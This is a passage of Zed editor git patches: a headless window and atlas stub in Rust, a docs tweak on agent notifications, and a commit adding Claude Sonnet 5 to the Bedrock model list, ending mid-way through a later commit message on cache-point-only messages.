+    fn set_title(&mut self, title: &str) {
+        self.0.borrow_mut().title = Some(title.to_owned());
+    }
+
+    fn get_title(&self) -> String {
+        self.0.borrow().title.clone().unwrap_or_default()
+    }
+
+    fn set_background_appearance(&self, _background: WindowBackgroundAppearance) {}
+
+    fn minimize(&self) {}
+
+    fn zoom(&self) {}
+
+    fn toggle_fullscreen(&self) {
+        let mut state = self.0.borrow_mut();
+        state.is_fullscreen = !state.is_fullscreen;
+    }
+
+    fn is_fullscreen(&self) -> bool {
+        self.0.borrow().is_fullscreen
+    }
+
+    // No compositor drives a frame loop, so frame and status callbacks are
+    // dropped: anything that awaits a frame will never resolve headlessly.
+    fn on_request_frame(&self, _callback: Box<dyn FnMut(RequestFrameOptions)>) {}
+
+    fn on_input(&self, _callback: Box<dyn FnMut(PlatformInput) -> DispatchEventResult>) {}
+
+    fn on_active_status_change(&self, _callback: Box<dyn FnMut(bool)>) {}
+
+    fn on_hover_status_change(&self, _callback: Box<dyn FnMut(bool)>) {}
+
+    fn on_resize(&self, _callback: Box<dyn FnMut(Size<Pixels>, f32)>) {}
+
+    fn on_moved(&self, _callback: Box<dyn FnMut()>) {}
+
+    fn on_should_close(&self, _callback: Box<dyn FnMut() -> bool>) {}
+
+    fn on_close(&self, _callback: Box<dyn FnOnce()>) {}
+
+    fn on_hit_test_window_control(&self, _callback: Box<dyn FnMut() -> Option<WindowControlArea>>) {
+    }
+
+    fn on_appearance_changed(&self, _callback: Box<dyn FnMut()>) {}
+
+    fn draw(&self, _scene: &Scene) {}
+
+    fn sprite_atlas(&self) -> Arc<dyn PlatformAtlas> {
+        Arc::new(HeadlessAtlas::default())
+    }
+
+    fn is_subpixel_rendering_supported(&self) -> bool {
+        false
+    }
+
+    fn update_ime_position(&self, _bounds: Bounds<Pixels>) {}
+
+    fn gpu_specs(&self) -> Option<GpuSpecs> {
+        None
+    }
+}
+
+/// Allocates atlas tiles without uploading pixels, so glyph and sprite
+/// painting completes headlessly.
+#[derive(Default)]
+struct HeadlessAtlas(Mutex<HeadlessAtlasState>);
+
+#[derive(Default)]
+struct HeadlessAtlasState {
+    next_id: u32,
+    tiles: HashMap<AtlasKey, AtlasTile>,
+}
+
+impl PlatformAtlas for HeadlessAtlas {
+    fn get_or_insert_with<'a>(
+        &self,
+        key: &AtlasKey,
+        build: &mut dyn FnMut() -> anyhow::Result<
+            Option<(Size<DevicePixels>, std::borrow::Cow<'a, [u8]>)>,
+        >,
+    ) -> anyhow::Result<Option<AtlasTile>> {
+        {
+            let state = self.0.lock();
+            if let Some(&tile) = state.tiles.get(key) {
+                return Ok(Some(tile));
+            }
+        }
+
+        let Some((size, _)) = build()? else {
+            return Ok(None);
+        };
+
+        let mut state = self.0.lock();
+        state.next_id += 1;
+        let texture_id = state.next_id;
+        state.next_id += 1;
+        let tile_id = state.next_id;
+        let tile = AtlasTile {
+            texture_id: AtlasTextureId {
+                index: texture_id,
+                kind: key.texture_kind(),
+            },
+            tile_id: TileId(tile_id),
+            padding: 0,
+            bounds: Bounds {
+                origin: Point::default(),
+                size,
+            },
+        };
+        state.tiles.insert(key.clone(), tile);
+        Ok(Some(tile))
+    }
+
+    fn remove(&self, key: &AtlasKey) {
+        self.0.lock().tiles.remove(key);
+    }
+}

From 53552b29a44275428a3a990ee1d4a9b37e728331 Mon Sep 17 00:00:00 2001
From: Hamza Paracha <86984199+DevDonzo@users.noreply.github.com>
Date: Fri, 3 Jul 2026 11:21:52 -0400
Subject: [PATCH 246/772] docs: Clarify agent notification placement (#54032)

## Summary
- describe agent notifications as OS desktop notifications instead of
claiming a fixed screen position
- keep the agent panel docs accurate across platforms and desktop
environments

Fixes #53588

Release Notes:

- N/A

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 docs/src/ai/agent-panel.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/src/ai/agent-panel.md b/docs/src/ai/agent-panel.md
index e8f6115e02bb03..a26189de217f53 100644
--- a/docs/src/ai/agent-panel.md
+++ b/docs/src/ai/agent-panel.md
@@ -106,7 +106,7 @@ You can also hold `cmd`/`ctrl` when submitting a message to automatically follow
 
 If you send a prompt to the Agent and then put Zed in the background, you can choose to be notified when its generation wraps up via:
 
-- a visual notification that appears in the top right of your screen
+- a visual desktop notification from your operating system
 - a sound notification
 
 These notifications can be used together or individually, and you can use the `agent.notify_when_agent_waiting` and `agent.play_sound_when_agent_done` settings keys to customize that, including turning both off entirely.

From 814b152a0f40b6bc64996e8f728c9c3de8e8104e Mon Sep 17 00:00:00 2001
From: Neel <neel@zed.dev>
Date: Fri, 3 Jul 2026 16:26:15 +0100
Subject: [PATCH 247/772] bedrock: Add Claude Sonnet 5 (#60360)

Also orders the Claude models from most to least capable.

Release Notes:

- Added Sonnet 5 to Bedrock provider

Co-authored-by: David Irvine <aviddiviner@gmail.com>
---
 crates/bedrock/src/models.rs | 372 ++++++++++++++++++++---------------
 1 file changed, 212 insertions(+), 160 deletions(-)

diff --git a/crates/bedrock/src/models.rs b/crates/bedrock/src/models.rs
index 9ebeffda7a8177..57c1eea01663c2 100644
--- a/crates/bedrock/src/models.rs
+++ b/crates/bedrock/src/models.rs
@@ -48,37 +48,27 @@ pub struct BedrockModelCacheConfiguration {
 #[derive(Clone, Debug, Default, Serialize, Deserialize, PartialEq, EnumIter)]
 pub enum Model {
     // Anthropic Claude 4+ models
-    #[serde(rename = "claude-haiku-4-5", alias = "claude-haiku-4-5-latest")]
-    ClaudeHaiku4_5,
-    #[serde(
-        rename = "claude-sonnet-4",
-        alias = "claude-sonnet-4-latest",
-        alias = "claude-sonnet-4-thinking",
-        alias = "claude-sonnet-4-thinking-latest"
-    )]
-    ClaudeSonnet4,
-    #[default]
     #[serde(
-        rename = "claude-sonnet-4-5",
-        alias = "claude-sonnet-4-5-latest",
-        alias = "claude-sonnet-4-5-thinking",
-        alias = "claude-sonnet-4-5-thinking-latest"
+        rename = "claude-fable-5",
+        alias = "claude-fable-5-latest",
+        alias = "claude-fable-5-thinking",
+        alias = "claude-fable-5-thinking-latest"
     )]
-    ClaudeSonnet4_5,
+    ClaudeFable5,
     #[serde(
-        rename = "claude-opus-4-1",
-        alias = "claude-opus-4-1-latest",
-        alias = "claude-opus-4-1-thinking",
-        alias = "claude-opus-4-1-thinking-latest"
+        rename = "claude-opus-4-8",
+        alias = "claude-opus-4-8-latest",
+        alias = "claude-opus-4-8-thinking",
+        alias = "claude-opus-4-8-thinking-latest"
     )]
-    ClaudeOpus4_1,
+    ClaudeOpus4_8,
     #[serde(
-        rename = "claude-opus-4-5",
-        alias = "claude-opus-4-5-latest",
-        alias = "claude-opus-4-5-thinking",
-        alias = "claude-opus-4-5-thinking-latest"
+        rename = "claude-opus-4-7",
+        alias = "claude-opus-4-7-latest",
+        alias = "claude-opus-4-7-thinking",
+        alias = "claude-opus-4-7-thinking-latest"
     )]
-    ClaudeOpus4_5,
+    ClaudeOpus4_7,
     #[serde(
         rename = "claude-opus-4-6",
         alias = "claude-opus-4-6-latest",
@@ -87,19 +77,26 @@ pub enum Model {
     )]
     ClaudeOpus4_6,
     #[serde(
-        rename = "claude-opus-4-7",
-        alias = "claude-opus-4-7-latest",
-        alias = "claude-opus-4-7-thinking",
-        alias = "claude-opus-4-7-thinking-latest"
+        rename = "claude-opus-4-5",
+        alias = "claude-opus-4-5-latest",
+        alias = "claude-opus-4-5-thinking",
+        alias = "claude-opus-4-5-thinking-latest"
     )]
-    ClaudeOpus4_7,
+    ClaudeOpus4_5,
     #[serde(
-        rename = "claude-opus-4-8",
-        alias = "claude-opus-4-8-latest",
-        alias = "claude-opus-4-8-thinking",
-        alias = "claude-opus-4-8-thinking-latest"
+        rename = "claude-opus-4-1",
+        alias = "claude-opus-4-1-latest",
+        alias = "claude-opus-4-1-thinking",
+        alias = "claude-opus-4-1-thinking-latest"
     )]
-    ClaudeOpus4_8,
+    ClaudeOpus4_1,
+    #[serde(
+        rename = "claude-sonnet-5",
+        alias = "claude-sonnet-5-latest",
+        alias = "claude-sonnet-5-thinking",
+        alias = "claude-sonnet-5-thinking-latest"
+    )]
+    ClaudeSonnet5,
     #[serde(
         rename = "claude-sonnet-4-6",
         alias = "claude-sonnet-4-6-latest",
@@ -107,13 +104,23 @@ pub enum Model {
         alias = "claude-sonnet-4-6-thinking-latest"
     )]
     ClaudeSonnet4_6,
+    #[default]
     #[serde(
-        rename = "claude-fable-5",
-        alias = "claude-fable-5-latest",
-        alias = "claude-fable-5-thinking",
-        alias = "claude-fable-5-thinking-latest"
+        rename = "claude-sonnet-4-5",
+        alias = "claude-sonnet-4-5-latest",
+        alias = "claude-sonnet-4-5-thinking",
+        alias = "claude-sonnet-4-5-thinking-latest"
     )]
-    ClaudeFable5,
+    ClaudeSonnet4_5,
+    #[serde(
+        rename = "claude-sonnet-4",
+        alias = "claude-sonnet-4-latest",
+        alias = "claude-sonnet-4-thinking",
+        alias = "claude-sonnet-4-thinking-latest"
+    )]
+    ClaudeSonnet4,
+    #[serde(rename = "claude-haiku-4-5", alias = "claude-haiku-4-5-latest")]
+    ClaudeHaiku4_5,
 
     // Meta Llama 4 models
     #[serde(rename = "llama-4-scout-17b")]
@@ -238,6 +245,8 @@ impl Model {
             Ok(Self::ClaudeOpus4_5)
         } else if id.starts_with("claude-opus-4-1") {
             Ok(Self::ClaudeOpus4_1)
+        } else if id.starts_with("claude-sonnet-5") {
+            Ok(Self::ClaudeSonnet5)
         } else if id.starts_with("claude-sonnet-4-6") {
             Ok(Self::ClaudeSonnet4_6)
         } else if id.starts_with("claude-sonnet-4-5") {
@@ -253,16 +262,17 @@ impl Model {
 
     pub fn id(&self) -> &str {
         match self {
-            Self::ClaudeHaiku4_5 => "claude-haiku-4-5",
-            Self::ClaudeSonnet4 => "claude-sonnet-4",
-            Self::ClaudeSonnet4_5 => "claude-sonnet-4-5",
-            Self::ClaudeOpus4_1 => "claude-opus-4-1",
-            Self::ClaudeOpus4_5 => "claude-opus-4-5",
-            Self::ClaudeOpus4_6 => "claude-opus-4-6",
-            Self::ClaudeOpus4_7 => "claude-opus-4-7",
+            Self::ClaudeFable5 => "claude-fable-5",
             Self::ClaudeOpus4_8 => "claude-opus-4-8",
+            Self::ClaudeOpus4_7 => "claude-opus-4-7",
+            Self::ClaudeOpus4_6 => "claude-opus-4-6",
+            Self::ClaudeOpus4_5 => "claude-opus-4-5",
+            Self::ClaudeOpus4_1 => "claude-opus-4-1",
+            Self::ClaudeSonnet5 => "claude-sonnet-5",
             Self::ClaudeSonnet4_6 => "claude-sonnet-4-6",
-            Self::ClaudeFable5 => "claude-fable-5",
+            Self::ClaudeSonnet4_5 => "claude-sonnet-4-5",
+            Self::ClaudeSonnet4 => "claude-sonnet-4",
+            Self::ClaudeHaiku4_5 => "claude-haiku-4-5",
             Self::Llama4Scout17B => "llama-4-scout-17b",
             Self::Llama4Maverick17B => "llama-4-maverick-17b",
             Self::Gemma3_4B => "gemma-3-4b",
@@ -305,16 +315,17 @@ impl Model {
 
     pub fn request_id(&self) -> &str {
         match self {
-            Self::ClaudeHaiku4_5 => "anthropic.claude-haiku-4-5-20251001-v1:0",
-            Self::ClaudeSonnet4 => "anthropic.claude-sonnet-4-20250514-v1:0",
-            Self::ClaudeSonnet4_5 => "anthropic.claude-sonnet-4-5-20250929-v1:0",
-            Self::ClaudeOpus4_1 => "anthropic.claude-opus-4-1-20250805-v1:0",
-            Self::ClaudeOpus4_5 => "anthropic.claude-opus-4-5-20251101-v1:0",
-            Self::ClaudeOpus4_6 => "anthropic.claude-opus-4-6-v1",
-            Self::ClaudeOpus4_7 => "anthropic.claude-opus-4-7",
+            Self::ClaudeFable5 => "anthropic.claude-fable-5",
             Self::ClaudeOpus4_8 => "anthropic.claude-opus-4-8",
+            Self::ClaudeOpus4_7 => "anthropic.claude-opus-4-7",
+            Self::ClaudeOpus4_6 => "anthropic.claude-opus-4-6-v1",
+            Self::ClaudeOpus4_5 => "anthropic.claude-opus-4-5-20251101-v1:0",
+            Self::ClaudeOpus4_1 => "anthropic.claude-opus-4-1-20250805-v1:0",
+            Self::ClaudeSonnet5 => "anthropic.claude-sonnet-5",
             Self::ClaudeSonnet4_6 => "anthropic.claude-sonnet-4-6",
-            Self::ClaudeFable5 => "anthropic.claude-fable-5",
+            Self::ClaudeSonnet4_5 => "anthropic.claude-sonnet-4-5-20250929-v1:0",
+            Self::ClaudeSonnet4 => "anthropic.claude-sonnet-4-20250514-v1:0",
+            Self::ClaudeHaiku4_5 => "anthropic.claude-haiku-4-5-20251001-v1:0",
             Self::Llama4Scout17B => "meta.llama4-scout-17b-instruct-v1:0",
             Self::Llama4Maverick17B => "meta.llama4-maverick-17b-instruct-v1:0",
             Self::Gemma3_4B => "google.gemma-3-4b-it",
@@ -357,16 +368,17 @@ impl Model {
 
     pub fn display_name(&self) -> &str {
         match self {
-            Self::ClaudeHaiku4_5 => "Claude Haiku 4.5",
-            Self::ClaudeSonnet4 => "Claude Sonnet 4",
-            Self::ClaudeSonnet4_5 => "Claude Sonnet 4.5",
-            Self::ClaudeOpus4_1 => "Claude Opus 4.1",
-            Self::ClaudeOpus4_5 => "Claude Opus 4.5",
-            Self::ClaudeOpus4_6 => "Claude Opus 4.6",
-            Self::ClaudeOpus4_7 => "Claude Opus 4.7",
+            Self::ClaudeFable5 => "Claude Fable 5",
             Self::ClaudeOpus4_8 => "Claude Opus 4.8",
+            Self::ClaudeOpus4_7 => "Claude Opus 4.7",
+            Self::ClaudeOpus4_6 => "Claude Opus 4.6",
+            Self::ClaudeOpus4_5 => "Claude Opus 4.5",
+            Self::ClaudeOpus4_1 => "Claude Opus 4.1",
+            Self::ClaudeSonnet5 => "Claude Sonnet 5",
             Self::ClaudeSonnet4_6 => "Claude Sonnet 4.6",
-            Self::ClaudeFable5 => "Claude Fable 5",
+            Self::ClaudeSonnet4_5 => "Claude Sonnet 4.5",
+            Self::ClaudeSonnet4 => "Claude Sonnet 4",
+            Self::ClaudeHaiku4_5 => "Claude Haiku 4.5",
             Self::Llama4Scout17B => "Llama 4 Scout 17B",
             Self::Llama4Maverick17B => "Llama 4 Maverick 17B",
             Self::Gemma3_4B => "Gemma 3 4B",
@@ -411,15 +423,16 @@ impl Model {
 
     pub fn max_token_count(&self) -> u64 {
         match self {
-            Self::ClaudeHaiku4_5
-            | Self::ClaudeSonnet4
-            | Self::ClaudeSonnet4_5
-            | Self::ClaudeOpus4_5
-            | Self::ClaudeOpus4_6
-            | Self::ClaudeOpus4_7
+            Self::ClaudeFable5
             | Self::ClaudeOpus4_8
+            | Self::ClaudeOpus4_7
+            | Self::ClaudeOpus4_6
+            | Self::ClaudeOpus4_5
+            | Self::ClaudeSonnet5
             | Self::ClaudeSonnet4_6
-            | Self::ClaudeFable5 => 1_000_000,
+            | Self::ClaudeSonnet4_5
+            | Self::ClaudeSonnet4
+            | Self::ClaudeHaiku4_5 => 1_000_000,
             Self::ClaudeOpus4_1 => 200_000,
             Self::Llama4Scout17B | Self::Llama4Maverick17B => 128_000,
             Self::Gemma3_4B | Self::Gemma3_12B | Self::Gemma3_27B => 128_000,
@@ -447,16 +460,17 @@ impl Model {
 
     pub fn max_output_tokens(&self) -> u64 {
         match self {
-            Self::ClaudeHaiku4_5
-            | Self::ClaudeSonnet4
+            Self::ClaudeFable5
+            | Self::ClaudeOpus4_8
+            | Self::ClaudeOpus4_7
+            | Self::ClaudeOpus4_6
+            | Self::ClaudeSonnet5 => 128_000,
+            Self::ClaudeOpus4_5
+            | Self::ClaudeSonnet4_6
             | Self::ClaudeSonnet4_5
-            | Self::ClaudeOpus4_5
-            | Self::ClaudeSonnet4_6 => 64_000,
+            | Self::ClaudeSonnet4
+            | Self::ClaudeHaiku4_5 => 64_000,
             Self::ClaudeOpus4_1 => 32_000,
-            Self::ClaudeOpus4_6
-            | Self::ClaudeOpus4_7
-            | Self::ClaudeOpus4_8
-            | Self::ClaudeFable5 => 128_000,
             Self::Llama4Scout17B
             | Self::Llama4Maverick17B
             | Self::Gemma3_4B
@@ -488,16 +502,17 @@ impl Model {
 
     pub fn default_temperature(&self) -> f32 {
         match self {
-            Self::ClaudeHaiku4_5
-            | Self::ClaudeSonnet4
-            | Self::ClaudeSonnet4_5
-            | Self::ClaudeOpus4_1
-            | Self::ClaudeOpus4_5
-            | Self::ClaudeOpus4_6
-            | Self::ClaudeOpus4_7
+            Self::ClaudeFable5
             | Self::ClaudeOpus4_8
+            | Self::ClaudeOpus4_7
+            | Self::ClaudeOpus4_6
+            | Self::ClaudeOpus4_5
+            | Self::ClaudeOpus4_1
+            | Self::ClaudeSonnet5
             | Self::ClaudeSonnet4_6
-            | Self::ClaudeFable5 => 1.0,
+            | Self::ClaudeSonnet4_5
+            | Self::ClaudeSonnet4
+            | Self::ClaudeHaiku4_5 => 1.0,
             Self::Custom {
                 default_temperature,
                 ..
@@ -508,16 +523,17 @@ impl Model {
 
     pub fn supports_tool_use(&self) -> bool {
         match self {
-            Self::ClaudeHaiku4_5
-            | Self::ClaudeSonnet4
-            | Self::ClaudeSonnet4_5
-            | Self::ClaudeOpus4_1
-            | Self::ClaudeOpus4_5
-            | Self::ClaudeOpus4_6
-            | Self::ClaudeOpus4_7
+            Self::ClaudeFable5
             | Self::ClaudeOpus4_8
+            | Self::ClaudeOpus4_7
+            | Self::ClaudeOpus4_6
+            | Self::ClaudeOpus4_5
+            | Self::ClaudeOpus4_1
+            | Self::ClaudeSonnet5
             | Self::ClaudeSonnet4_6
-            | Self::ClaudeFable5 => true,
+            | Self::ClaudeSonnet4_5
+            | Self::ClaudeSonnet4
+            | Self::ClaudeHaiku4_5 => true,
             Self::NovaLite | Self::NovaPro | Self::NovaPremier | Self::Nova2Lite => true,
             Self::MistralLarge3 | Self::PixtralLarge | Self::MagistralSmall => true,
             Self::Devstral2_123B | Self::Ministral14B => true,
@@ -541,16 +557,17 @@ impl Model {
 
     pub fn supports_images(&self) -> bool {
         match self {
-            Self::ClaudeHaiku4_5
-            | Self::ClaudeSonnet4
-            | Self::ClaudeSonnet4_5
-            | Self::ClaudeOpus4_1
-            | Self::ClaudeOpus4_5
-            | Self::ClaudeOpus4_6
-            | Self::ClaudeOpus4_7
+            Self::ClaudeFable5
             | Self::ClaudeOpus4_8
+            | Self::ClaudeOpus4_7
+            | Self::ClaudeOpus4_6
+            | Self::ClaudeOpus4_5
+            | Self::ClaudeOpus4_1
+            | Self::ClaudeSonnet5
             | Self::ClaudeSonnet4_6
-            | Self::ClaudeFable5 => true,
+            | Self::ClaudeSonnet4_5
+            | Self::ClaudeSonnet4
+            | Self::ClaudeHaiku4_5 => true,
             Self::NovaLite | Self::NovaPro => true,
             Self::PixtralLarge => true,
             Self::Qwen3VL235B => true,
@@ -561,16 +578,17 @@ impl Model {
 
     pub fn supports_caching(&self) -> bool {
         match self {
-            Self::ClaudeHaiku4_5
-            | Self::ClaudeSonnet4
-            | Self::ClaudeSonnet4_5
-            | Self::ClaudeOpus4_1
-            | Self::ClaudeOpus4_5
-            | Self::ClaudeOpus4_6
-            | Self::ClaudeOpus4_7
+            Self::ClaudeFable5
             | Self::ClaudeOpus4_8
+            | Self::ClaudeOpus4_7
+            | Self::ClaudeOpus4_6
+            | Self::ClaudeOpus4_5
+            | Self::ClaudeOpus4_1
+            | Self::ClaudeSonnet5
             | Self::ClaudeSonnet4_6
-            | Self::ClaudeFable5 => true,
+            | Self::ClaudeSonnet4_5
+            | Self::ClaudeSonnet4
+            | Self::ClaudeHaiku4_5 => true,
             Self::Custom {
                 cache_configuration,
                 ..
@@ -582,32 +600,37 @@ impl Model {
     pub fn supports_thinking(&self) -> bool {
         matches!(
             self,
-            Self::ClaudeHaiku4_5
-                | Self::ClaudeSonnet4
-                | Self::ClaudeSonnet4_5
-                | Self::ClaudeOpus4_1
-                | Self::ClaudeOpus4_5
-                | Self::ClaudeOpus4_6
-                | Self::ClaudeOpus4_7
+            Self::ClaudeFable5
                 | Self::ClaudeOpus4_8
+                | Self::ClaudeOpus4_7
+                | Self::ClaudeOpus4_6
+                | Self::ClaudeOpus4_5
+                | Self::ClaudeOpus4_1
+                | Self::ClaudeSonnet5
                 | Self::ClaudeSonnet4_6
-                | Self::ClaudeFable5
+                | Self::ClaudeSonnet4_5
+                | Self::ClaudeSonnet4
+                | Self::ClaudeHaiku4_5
         )
     }
 
     pub fn supports_adaptive_thinking(&self) -> bool {
         matches!(
             self,
-            Self::ClaudeOpus4_6
-                | Self::ClaudeOpus4_7
+            Self::ClaudeFable5
                 | Self::ClaudeOpus4_8
+                | Self::ClaudeOpus4_7
+                | Self::ClaudeOpus4_6
+                | Self::ClaudeSonnet5
                 | Self::ClaudeSonnet4_6
-                | Self::ClaudeFable5
         )
     }
 
     pub fn supports_xhigh_adaptive_thinking(&self) -> bool {
-        matches!(self, Self::ClaudeOpus4_8 | Self::ClaudeFable5)
+        matches!(
+            self,
+            Self::ClaudeFable5 | Self::ClaudeOpus4_8 | Self::ClaudeSonnet5
+        )
     }
 
     pub fn thinking_mode(&self) -> BedrockModelMode {
@@ -633,15 +656,16 @@ impl Model {
 
         let supports_global = matches!(
             self,
-            Self::ClaudeHaiku4_5
-                | Self::ClaudeSonnet4
-                | Self::ClaudeSonnet4_5
-                | Self::ClaudeOpus4_5
-                | Self::ClaudeOpus4_6
-                | Self::ClaudeOpus4_7
+            Self::ClaudeFable5
                 | Self::ClaudeOpus4_8
+                | Self::ClaudeOpus4_7
+                | Self::ClaudeOpus4_6
+                | Self::ClaudeOpus4_5
+                | Self::ClaudeSonnet5
                 | Self::ClaudeSonnet4_6
-                | Self::ClaudeFable5
+                | Self::ClaudeSonnet4_5
+                | Self::ClaudeSonnet4
+                | Self::ClaudeHaiku4_5
                 | Self::Nova2Lite
         );
 
@@ -695,15 +719,16 @@ impl Model {
 
             // Global inference profiles
             (
-                Self::ClaudeHaiku4_5
-                | Self::ClaudeSonnet4
-                | Self::ClaudeSonnet4_5
-                | Self::ClaudeOpus4_5
-                | Self::ClaudeOpus4_6
-                | Self::ClaudeOpus4_7
+                Self::ClaudeFable5
                 | Self::ClaudeOpus4_8
+                | Self::ClaudeOpus4_7
+                | Self::ClaudeOpus4_6
+                | Self::ClaudeOpus4_5
+                | Self::ClaudeSonnet5
                 | Self::ClaudeSonnet4_6
-                | Self::ClaudeFable5
+                | Self::ClaudeSonnet4_5
+                | Self::ClaudeSonnet4
+                | Self::ClaudeHaiku4_5
                 | Self::Nova2Lite,
                 "global",
             ) => Ok(format!("{}.{}", region_group, model_id)),
@@ -713,16 +738,17 @@ impl Model {
 
             // US region inference profiles
             (
-                Self::ClaudeHaiku4_5
-                | Self::ClaudeSonnet4
-                | Self::ClaudeSonnet4_5
-                | Self::ClaudeOpus4_1
-                | Self::ClaudeOpus4_5
-                | Self::ClaudeOpus4_6
-                | Self::ClaudeOpus4_7
+                Self::ClaudeFable5
                 | Self::ClaudeOpus4_8
+                | Self::ClaudeOpus4_7
+                | Self::ClaudeOpus4_6
+                | Self::ClaudeOpus4_5
+                | Self::ClaudeOpus4_1
+                | Self::ClaudeSonnet5
                 | Self::ClaudeSonnet4_6
-                | Self::ClaudeFable5
+                | Self::ClaudeSonnet4_5
+                | Self::ClaudeSonnet4
+                | Self::ClaudeHaiku4_5
                 | Self::Llama4Scout17B
                 | Self::Llama4Maverick17B
                 | Self::NovaLite
@@ -739,14 +765,15 @@ impl Model {
 
             // EU region inference profiles
             (
-                Self::ClaudeHaiku4_5
-                | Self::ClaudeSonnet4
-                | Self::ClaudeSonnet4_5
-                | Self::ClaudeOpus4_6
-                | Self::ClaudeOpus4_7
+                Self::ClaudeFable5
                 | Self::ClaudeOpus4_8
+                | Self::ClaudeOpus4_7
+                | Self::ClaudeOpus4_6
+                | Self::ClaudeSonnet5
                 | Self::ClaudeSonnet4_6
-                | Self::ClaudeFable5
+                | Self::ClaudeSonnet4_5
+                | Self::ClaudeSonnet4
+                | Self::ClaudeHaiku4_5
                 | Self::NovaLite
                 | Self::NovaPro
                 | Self::Nova2Lite,
@@ -755,29 +782,29 @@ impl Model {
 
             // Australia region inference profiles
             (
-                Self::ClaudeHaiku4_5
-                | Self::ClaudeSonnet4_5
-                | Self::ClaudeOpus4_6
+                Self::ClaudeOpus4_8
                 | Self::ClaudeOpus4_7
-                | Self::ClaudeOpus4_8
-                | Self::ClaudeSonnet4_6,
+                | Self::ClaudeOpus4_6
+                | Self::ClaudeSonnet4_6
+                | Self::ClaudeSonnet4_5
+                | Self::ClaudeHaiku4_5,
                 "au",
             ) => Ok(format!("{}.{}", region_group, model_id)),
 
             // Japan region inference profiles
             (
-                Self::ClaudeHaiku4_5
+                Self::ClaudeSonnet4_6
                 | Self::ClaudeSonnet4_5
-                | Self::ClaudeSonnet4_6
+                | Self::ClaudeHaiku4_5
                 | Self::Nova2Lite,
                 "jp",
             ) => Ok(format!("{}.{}", region_group, model_id)),
 
             // APAC region inference profiles (other than AU/JP)
             (
-                Self::ClaudeHaiku4_5
+                Self::ClaudeSonnet4_5
                 | Self::ClaudeSonnet4
-                | Self::ClaudeSonnet4_5
+                | Self::ClaudeHaiku4_5
                 | Self::NovaLite
                 | Self::NovaPro
                 | Self::Nova2Lite,
@@ -808,6 +835,10 @@ mod tests {
             Model::ClaudeFable5.cross_region_inference_id("us-east-1", false)?,
             "us.anthropic.claude-fable-5"
         );
+        assert_eq!(
+            Model::ClaudeSonnet5.cross_region_inference_id("us-east-1", false)?,
+            "us.anthropic.claude-sonnet-5"
+        );
         assert_eq!(
             Model::NovaPro.cross_region_inference_id("us-east-2", false)?,
             "us.amazon.nova-pro-v1:0"
@@ -849,6 +880,10 @@ mod tests {
             Model::ClaudeFable5.cross_region_inference_id("eu-west-1", false)?,
             "eu.anthropic.claude-fable-5"
         );
+        assert_eq!(
+            Model::ClaudeSonnet5.cross_region_inference_id("eu-west-1", false)?,
+            "eu.anthropic.claude-sonnet-5"
+        );
         Ok(())
     }
 
@@ -959,6 +994,10 @@ mod tests {
             Model::ClaudeFable5.cross_region_inference_id("us-east-1", true)?,
             "global.anthropic.claude-fable-5"
         );
+        assert_eq!(
+            Model::ClaudeSonnet5.cross_region_inference_id("us-east-1", true)?,
+            "global.anthropic.claude-sonnet-5"
+        );
         assert_eq!(
             Model::Nova2Lite.cross_region_inference_id("us-east-1", true)?,
             "global.amazon.nova-2-lite-v1:0"
@@ -1031,6 +1070,7 @@ mod tests {
         assert_eq!(Model::DeepSeekR1.id(), "deepseek-r1");
         assert_eq!(Model::Llama4Scout17B.id(), "llama-4-scout-17b");
         assert_eq!(Model::ClaudeFable5.id(), "claude-fable-5");
+        assert_eq!(Model::ClaudeSonnet5.id(), "claude-sonnet-5");
 
         assert_eq!(
             Model::ClaudeSonnet4_5.request_id(),
@@ -1043,6 +1083,10 @@ mod tests {
             "meta.llama4-scout-17b-instruct-v1:0"
         );
         assert_eq!(Model::ClaudeFable5.request_id(), "anthropic.claude-fable-5");
+        assert_eq!(
+            Model::ClaudeSonnet5.request_id(),
+            "anthropic.claude-sonnet-5"
+        );
 
         // Thinking aliases deserialize to the same model
         assert_eq!(Model::ClaudeSonnet4.id(), "claude-sonnet-4");
@@ -1054,6 +1098,10 @@ mod tests {
             Model::from_id("claude-fable-5-thinking").unwrap().id(),
             "claude-fable-5"
         );
+        assert_eq!(
+            Model::from_id("claude-sonnet-5-thinking").unwrap().id(),
+            "claude-sonnet-5"
+        );
     }
 
     #[test]
@@ -1068,8 +1116,10 @@ mod tests {
         assert!(Model::ClaudeOpus4_6.supports_adaptive_thinking());
         assert!(Model::ClaudeSonnet4_6.supports_adaptive_thinking());
         assert!(Model::ClaudeFable5.supports_adaptive_thinking());
+        assert!(Model::ClaudeSonnet5.supports_adaptive_thinking());
         assert!(!Model::ClaudeOpus4_7.supports_xhigh_adaptive_thinking());
         assert!(Model::ClaudeFable5.supports_xhigh_adaptive_thinking());
+        assert!(Model::ClaudeSonnet5.supports_xhigh_adaptive_thinking());
         assert!(Model::ClaudeOpus4_8.supports_xhigh_adaptive_thinking());
         assert_eq!(BedrockAdaptiveThinkingEffort::XHigh.as_str(), "xhigh");
 
@@ -1098,6 +1148,7 @@ mod tests {
         assert_eq!(Model::ClaudeSonnet4_5.max_token_count(), 1_000_000);
         assert_eq!(Model::ClaudeOpus4_6.max_token_count(), 1_000_000);
         assert_eq!(Model::ClaudeFable5.max_token_count(), 1_000_000);
+        assert_eq!(Model::ClaudeSonnet5.max_token_count(), 1_000_000);
         assert_eq!(Model::Llama4Scout17B.max_token_count(), 128_000);
         assert_eq!(Model::NovaPremier.max_token_count(), 1_000_000);
     }
@@ -1107,6 +1158,7 @@ mod tests {
         assert_eq!(Model::ClaudeSonnet4_5.max_output_tokens(), 64_000);
         assert_eq!(Model::ClaudeOpus4_6.max_output_tokens(), 128_000);
         assert_eq!(Model::ClaudeFable5.max_output_tokens(), 128_000);
+        assert_eq!(Model::ClaudeSonnet5.max_output_tokens(), 128_000);
         assert_eq!(Model::ClaudeOpus4_1.max_output_tokens(), 32_000);
         assert_eq!(Model::Gemma3_4B.max_output_tokens(), 8_192);
     }

From 6eaad52c29a026591b18acfc0ef6f35bce85d676 Mon Sep 17 00:00:00 2001
From: Yi Liu <yi@quantstamp.com>
Date: Sat, 4 Jul 2026 00:41:58 +0800
Subject: [PATCH 248/772] language_models: Avoid sending Bedrock
 cache-point-only messages (#59436)

When prompt caching is enabled, `into_bedrock` pushes a `CachePoint`
block
onto a message's content whenever `message.cache && supports_caching` is
true.
This push happens before the `if bedrock_message_content.is_empty() {
continue; }`
guard. As a result, a message whose content filters down to empty (for
example,
a message that contained only content stripped during conversion) still
gets
